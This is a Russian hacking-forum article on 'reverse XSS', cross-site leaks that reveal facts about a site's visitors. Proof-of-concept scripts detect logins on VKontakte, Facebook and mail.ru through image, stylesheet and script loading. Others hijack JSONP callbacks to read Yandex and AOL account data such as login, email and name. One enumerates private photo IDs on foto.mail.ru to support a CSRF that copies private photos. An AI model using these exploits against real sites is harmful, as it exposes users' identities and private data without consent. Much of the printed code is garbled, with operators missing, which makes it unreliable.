GrabDuck

Авторские статьи - Получение информации о пользователях. Уязвимости клиентской части ...

:

Наиболее известными клиентскими уязвимостями являются CSRF и XSS.
CSRF позволяет выполнить определенное действие на сайте от имени пользователя. При этом нельзя получить доступ к данным в ответе сервера (без возможности внедрения скриптов на том же домене).
XSS - это внедрение своего исполняемого кода в страницу уязвимого сайта. Обычно XSS разделяют по способу внедрения на пассивные, активные и DOM-based.

В своей статье я хочу рассмотреть тип уязвимостей клиентской части, не вписывающийся в стандартную классификацию. Целью атаки будет являться получение какой-либо информации о пользователе уязвимого сайта.
Способ эксплуатации этих уязвимостей прямо противоположный XSS - внедрение данных c уязвимого сайта в свою страницу, поэтому далее буду условно их называть "обратными XSS".

Существует много типов данных, которые можно внедрить в страницу со стороннего сайта, но в этой теме будут описаны только 3 варианта:
Изображения
Таблицы стилей
Скрипты

1) Изображения
1.1) Проверка формата файла.
Тег img позволяет проверить, является ли правильным изображением файл, указанный в атрибуте src. Делается это с помощью событий onload и onerror.
Этот тег может пригодиться для проверки авторизации на сайте, каких-либо пользовательских настроек и прав доступа, брута id пользователя, фотоальбомов, фотографий и т.д.

На многих сайтах в HTTP-запросах передается обратная ссылка, на которую происходит перенаправление после выполнения запроса.
Обычно редирект разрешен только на внутренние ссылки и только авторизованным пользователям.
Наличие на сайте внутреннего редиректа, или изображения, доступного только для зарегистрированных пользователей, позволяет проверить авторизацию пользователя на сайте.

<img src="[LINK]" onload="alert('good')" onerror="alert('bad')" width=0 />

Проверка авторизации:
http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28
http://fotostrana.ru/user/login/?redirect=/favicon.ico
http://m.facebook.com/login/help/identify?select_user_url=/favicon.ico&email=a@a.a
http://loveplanet.ru/a-logon/extend-cGF0aD1mYXZpY29uLmljbw
http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_page=http://img.mail.ru/r/dumb.gif
https://talkgadget.google.com/talkgadget/gauth?redirect=true&silent=true&host=http://www.google.com/favicon.ico
http://www.hackzone.ru/memb/?a=do_login&bwurl1=/favicon.ico

http://forum.antichat.ru/attachment.php?attachmentid=197

Другие проверки:
Наличие "мира" на ящике мэйлру - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif
Модер - http://forum.antichat.ru/attachment.php?attachmentid=515
РОА - http://forum.antichat.ru/attachment.php?attachmentid=1474

1.2) Проверка размеров изображения
JS позволяет проверить высоту и ширину элементов страницы, в том числе изображения в img. Чтобы получить правильный размер изображения, необходимо, чтобы оно загрузилось полностью.

Для ускорения загрузки страниц, браузер сохраняет изображения в свой кэш. Значит можно проверить, посещал ли пользователь определенный сайт.
Тестовым изображением будет рекламный баннер ачата:

PHP:

<script>
onload = function()
{
var 
newImg = new Image();
newImg.style.visibility 'hidden';
newImg.src 'http://forum.antichat.ru/bn/insorg2.gif';
document.body.appendChild(newImg);
if(
newImg.offsetHeight != 60 && newImg.offsetWidth != 468)
{
alert('bad');
}
else
{
alert('good');
}
document.body.removeChild(newImg);
};
</script>

Если изображение в кэше браузера, оно загрузится мгновенно и размеры совпадут с заранее заданными.
Если пользователь раньше не посещал форум, маловероятно, что изображение загрузится полностью на момент проверки ее размера.

В качестве еще одного примера использования возьму foto.mail.ru.
Пользователи этого сайта могут создавать закрытые альбомы. Все фотографии имеют порядковые номера. При удалении фотографий, ее номер больше не используется.
Так же на сайте есть CSRF, позволяющая скопировать изображения из одного (закрытого) альбома в любой другой (открытый). Для эксплуатации CSRF нужно знать номера существующих фотографий.
Перебирать все номера в CSRF-запросах неэффективно из-за большого объема ответа.
При отсутствии файла на фотохостинге ответ выдается в виде изображения (поэтому нельзя проверить через onload/onerror) стандартного размера 320x240.

PHP:

<script>
var 
myMail 'mail/user_login/user_album/';
onload = function()
{
for(var 
1<= 10i++)
{
var 
newImg = new Image();
newImg.id Math.random();
newImg.style 'visibility:hidden';
newImg.onload 'checkImg(' newImg.id ')';
newImg.onerror 'removeImg(' newImg.id ')';
newImg.src 'http://content.foto.mail.ru/' myMail 'i-' '.gif';
document.body.appendChild(newImg);
}
};
function 
checkImg(imgId)
{
var 
newImg document.getElementById(imgId);
if(
newImg.offsetHeight != 240 && newImg.offsetWidth != 320)
{
alert(newImg.src);
removeImg(newImg);
return;
}
removeImg(newImg);
createImg();
};
function 
removeImg(imgId)
{
document.body.removeChild(document.getElementById(imgId));
};
</script>

В алертах будут показаны ссылки на существующие фотографии. Вероятность того, что существующие фотографии будут иметь размер 320x240, достаточно низкая.

2) Стили
2.1) Проверка размеров определенного элемента страницы
С помощью специально сформированной страницы можно проверить доступность css-файла. Также при различных пользовательских настройках css-файлы на сайтах могут отличаться. Для примера опять возьму редирект ВК:

PHP:

<head>
<
script>
onload = function() 
{
var 
newA document.createElement('a');
newA.id 'group';
document.body.appendChild(newA);
if(
newA.offsetHeight 0)
alert('good');
else
alert('bad');
};
</script>
<link rel="stylesheet" href="http://vkontakte.ru/login.php?to=Y3NzL2FsL2dyb3Vwcy5jc3M"/>
</head>

Если пользователь авторизован, в качестве таблицы стилей будет загружен файл "/css/al/groups.css"

HTML:

#group {
  padding: 10px 10px 0px;
}
Этот код увеличит высоту элемента с id == group на 10. Если пользователь не авторизован, стили не загрузятся, и высота элемента останется равной нулю.

2.2) Проверка кода ответа сервера
Событие onload тега link, в отличие от тега img, не проверяет правильность формата файла в href, но позволяет проверить код состояния ответа. При "4xx: Client Error" и "5xx: Server Error" onload не срабатывает.

<link rel="stylesheet" href="http://vkontakte.ru/login.php?to=LQ" onload="alert('bad')" />
Если пользователь авторизован - ответ "404 Not Found", событие onload не срабатывает.
Если не авторизован - редирект на авторизацию и ответ "200 OK", событие onload срабатыват.

<link rel="stylesheet" href="http://mirtesen.ru/profile/miniwizard/basic/json/" onload="alert('good')" />
Если пользователь авторизован - ответ "200 OK", событие onload срабатывает.
Если не авторизован - форма авторизации с кодом состояния "401 Unauthorized", событие onload не срабатывает.

Вернемся к примеру с изображениями на фотохостинге мэйлру. При отсутствии фотографии в ответе сервера будет изображение, но код состояния останется стандартным - "404 Not Found".

PHP:

<script>
var 
myMail 'mail/user_login/user_album/';
onload = function()
{
for(var 
1<= 10i++)
{
var 
newLink document.createElement('link');
newLink.id Math.random();
newLink.rel 'stylesheet';
newLink.onload 'checkLink(' newLink.id ')';
newLink.href 'http://content.foto.mail.ru/' myMail 'i-' '.gif';
document.body.appendChild(newLink);
}
};
function 
checkLink(linkId)
{
alert(document.getElementById(linkId).href);
};
</script>

В отличие от примера с img, здесь не будет ошибочных пропусков изображений размером 320x240.

3) Скрипты
Первый пример стандартный. Нахождение скриптов, имеющих различное отображение при авторизации или различных настройках и правах пользователей.
Для этого могут использоваться внутренние редиректы сайта или аттачи на форумах.
<script src="http://vkontakte.ru/login.php?to=anMvYWwvYm94Lmpz" onload="alert('good')"></script>
Событие onload срабатывает, если файл в src содержит правильный JS-код.

Другой вариант аналогичной проверки:

PHP:

<head>
<
script>
Aboutme 0;
getLang null;
onload = function()
{
if(
Aboutme == 0)
alert('bad');
else
alert('good');
}
</script>
<script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script>
</head>

Если пользователь авторизован, загружается скрипт, присваивающий переменной Aboutme значение, отличное от 0. После полной загрузки страницы проверяем эту переменную.

В современном интернете динамическая подгрузка данных без полного обновления страницы фактически стала стандартом. Вместе с этим появилась новая опасность для пользователей.
Некоторые сайты передают в скриптах информацию об авторизованном пользователе.
Соц.сеть "страна друзей":

PHP:

<script>
onload = function() 
{
var 
document.createElement('script');
s.src 'http://www.stranadruzey.ru/battle/ajax/userinfo/counters/?cb=a';
document.getElementsByTagName('head')[0].appendChild(s);
};
function 
a(a)
{
alert(a.info.id);
alert(a.info.photo);
};
</script>

В алертах будет показан id и ссылка на фото авторизованного пользователя соц.сети.
Распространенная библиотека jQuery с помощью метода getJSON позволяет обмениваться данными между разными доменами используя тег script (формат JSONP).
Если при вызове getJSON одному из параметров присваивается значение "?", при запросе библиотека генерирует в этом параметре название callback-функции.
Пишем свою callback-функцию и передаем в нужном параметре ее имя.

Крупные сайты тоже допускают подобные баги.

PHP:

<script>
onload = function() 
{
var 
document.createElement('script');
s.src 'http://pass.yandex.ru/services?login=yes&callback=a';
document.getElementsByTagName('head')[0].appendChild(s);
};
function 
a(a)
{
alert(a.login);
for (var 
i in a.services) {
alert (a.services[i].id);
}
};
</script>

Яндекс - найдется все... Даже Ваш логин и список сервисов, которые активированы на Вашем аккаунте... :cool:

Если callback-функция не передается, но в скрипте есть вызов какой-нибудь другой функции, ее можно подменить. Стандартный пример с проверкой авторизации:

PHP:

<head>
<
script>
var 
bad true;
getLang a;
onload = function()
{
if(
bad)
alert('bad');
else
alert('good');
};
function 
a(a)
{
bad false;
getLang null;
};
</script>
<script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script>
</head>

Если пользователь авторизован, загружается скрипт, содержащий вызов функции getLang. С помощью подмены этой функции изменяем значение переменной bad. После полной загрузки страницы проверяем переменную.

AOL, как и Яндекс, может многое рассказать о своих пользователях:

PHP:

<head>
<
script src="http://mail.aol.com/common/bundle.js.aspx"></script>
<script>
onload = function() 
{
eval = a;
var s = document.createElement('script');
s.src = Config.BasePagesURL + 'common/settings.js.aspx';
document.getElementsByTagName('head')[0].appendChild(s);
};
function a(a)
{
alert(a.ActiveUserEmailAddress);
alert(a.FromDisplayName);
var d = new Date(a.AOLCreateDate * 1000);
alert(d.toGMTString());
};
</script>
</head>

Пример выводит почтовый адрес, фамилию, имя и дату регистрации аккаунта, но скрипт settings.js.aspx кроме этих данных содержит очень много интересной информации о пользователе и его активности на сервисах AOL'а.
Путь к скриптам на aol.com не постоянный и зависит от местонахождения пользователя. Ссылки выглядят примерно так - "http://mail.aol.com/12345-123/aol-4/en-us/common/bundle.js.aspx"
Если в адресе пропустить "12345-123/aol-4/en-us/" в большинстве случаев происходит редирект на правильный адрес. При запросе "common/settings.js.aspx" этого редиректа не происходит и данные о пользователе получить нельзя.
Но немного поискав, можно найти файл "common/bundle.js.aspx", который успешно редиректится даже без полного пути. Содержимое его выглядит примерно так:

var Config={"POPIMAPHelpLink":"[ссылка]",...,"BasePagesURL":"http://mail.aol.com/12345-123/aol-4/en-us/",...,"BaseImagesURL":"http://o.aolcdn.com/cdn.webmail.aol.com/12345/images/"};
Config.EnableTMZPanel=true;
Config.OverridePlugins={"IDList":[]};
...

В переменной Config['BasePagesURL'] содержится нужная ссылка.

"Обратные XSS" могут оказаться необходимым дополнением к другим видам атак.
Например, CSRF (GET/POST) на aol.com невозможна знания полного пути к скриптам.
http://m.aol.com/mail/12345-123/aol-4/en-us/Wap/ComposeHandler.aspx
folder=&ActionL10n=Send&To=[Кому]&Subject=[Тема]&PlainBody=[Содержание]

Вся информация взята из головы, другие источники не использовались. Если ранее где-то было опубликовано нечто подобное, напишите об этом в комментариях.